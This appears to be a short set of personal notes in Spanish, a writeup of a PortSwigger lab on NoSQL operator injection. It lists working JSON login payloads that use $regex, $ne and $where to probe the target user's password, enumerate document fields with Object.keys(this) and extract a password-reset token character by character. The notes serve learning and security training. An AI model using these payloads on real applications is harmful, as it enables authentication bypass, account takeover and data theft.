Skip to content

4 - Exploiting NoSQL operator injection to extract unknown fields

#nosqli #portswigger #writeup

La pass tiene números

json
{
  "username": "carlos",
  "password": {
    "$regex": ".*\\d.*" 
  }
}

//Tira account locked

Tiene minúsculas

json
{
  "username": "carlos",
  "password": {
    "$regex": ".*[a-z].*"
  }
}

//Tira account locked

No tiene mayúsculas

json
{
  "username": "carlos",
  "password": {
    "$regex": ".*[A-Z].*"
  }
}

//Tira invalid passwords
json
{
	"username":"carlos",
	"password": {"$ne":"invalid"},
	"$where": "0" //false
}
//Tira invalid passwords -> false
json
{
	"username":"carlos",
	"password": {"$ne":"invalid"},
	"$where": "1" //true
}
//Tira account locked -> true

Para ir poco a poco sacando los atributos del objeto

ATRIBUTO -> int del atributo 1..n Primer §§ -> Posición de la 0 a ... Segundo §§ -> carácter

"$where":"Object.keys(this)[ATRIBUTO].match('^.{§§}§§.*')"

Primero -> surname Segundo -> Password Tercero -> Email Cuarto -> passwordReset

Fuzzemos por el passwordReset

"$where":"this.passwordReset.match('^.{§§}§§.*')"

Notas personales de seguridad ofensiva.